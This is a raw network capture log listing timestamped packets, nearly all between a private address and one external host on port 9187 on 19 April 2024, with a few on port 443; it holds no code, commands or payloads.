Apr 19, 2024 01:33:23.260196924 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.260212898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260232925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260251999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260260105 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.260272026 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260293961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260299921 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.260315895 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.260317087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260325909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260335922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260344028 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260355949 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.260376930 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.296124935 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.302373886 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.371562004 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.371768951 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.371861935 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.372018099 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.372030020 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.459496975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459532022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459549904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459568024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459585905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459590912 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.459604979 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459626913 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459635973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.459645033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459649086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.459666014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459682941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459686995 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.459701061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459721088 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459738970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.459749937 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.459778070 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.660742998 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660774946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660793066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660809994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660828114 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660845041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660851002 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.660851002 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.660864115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660886049 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.660895109 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660921097 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.660980940 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.708631039 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.792824984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.792871952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.792900085 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.792963028 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.793081045 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.128619909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128699064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128740072 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128777027 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128820896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128839970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.128839970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.128858089 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128916979 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.128942013 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.177375078 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.228863955 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228895903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228914976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228935003 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228945971 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.228955984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228976011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.228991985 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.228996992 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229013920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229032040 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229052067 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229068995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229072094 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.229088068 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.229089022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229109049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.229123116 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.229123116 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.271217108 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428565025 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428596020 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428613901 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428632021 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428652048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428669930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428672075 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428689003 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428704023 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428704023 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428709030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428729057 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428746939 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428790092 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428809881 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428826094 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.428832054 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428832054 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.428934097 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.474236012 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.628757954 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.628824949 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.628871918 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.628876925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.628918886 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.628957033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.628995895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629009008 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.629034996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629039049 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.629076958 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629115105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629127979 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.629153967 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629190922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629200935 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.629231930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629271984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.629307032 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.677360058 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828761101 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828788042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828810930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828830004 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828844070 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828845978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828879118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828896999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828897953 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828917027 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828922987 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828934908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828958035 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828975916 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.828993082 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828993082 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:24.828999043 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.829008102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:24.829051018 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029027939 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029074907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029114008 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029150963 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029164076 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029192924 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029208899 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029233932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029273033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029288054 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029311895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029350042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029371023 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029386997 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029426098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029463053 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029474020 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.029505968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.029509068 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.083623886 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229525089 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229571104 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229609013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229646921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229665041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229685068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229701996 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229724884 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229760885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229777098 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229800940 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229836941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229873896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229882956 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229912043 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229917049 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.229948997 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.229991913 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.230004072 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.271122932 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431468964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431500912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431519032 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431536913 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431549072 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431557894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431576967 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431596041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431596041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431616068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431634903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431636095 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431653976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431663036 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431674957 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431693077 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431706905 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.431718111 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.431749105 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.631340981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.631367922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.631392956 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.631412029 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.664477110 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.664496899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.664515018 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.664531946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.664547920 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.664549112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:25.664586067 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:25.664716005 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.000413895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000472069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000510931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000530958 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.000549078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000590086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.000592947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000632048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000670910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.000680923 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.052361012 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.100245953 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100344896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100383043 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100397110 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.100421906 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100501060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.100616932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100656986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100764036 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.100792885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100869894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100904942 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100909948 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.100943089 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.100980043 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.101016045 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.101022005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.101063967 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.101116896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.146107912 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.300708055 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300740004 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300757885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300795078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300821066 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.300832987 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300836086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.300872087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300911903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300947905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300964117 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.300987005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.300987005 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.301024914 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.301064014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.301089048 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.301101923 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.301140070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.301141977 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.349241972 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500714064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500747919 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500766993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500785112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500792027 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500804901 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500823021 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500829935 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500843048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500860929 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500871897 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500880003 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500897884 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500915051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500929117 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500931978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500951052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.500953913 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.500967979 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.552369118 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.700876951 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700906992 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700925112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700943947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700963974 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700983047 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.700988054 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.701003075 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701021910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701040030 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.701040983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701061010 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701078892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701081991 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.701097965 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701117039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.701152086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.701152086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.901235104 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901262999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901284933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901303053 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901314974 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.901320934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901339054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901352882 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.901361942 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901386976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901393890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901406050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901424885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901442051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:26.901454926 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.901460886 CEST	9187	49717	47.57.240.88	192.168.2.6
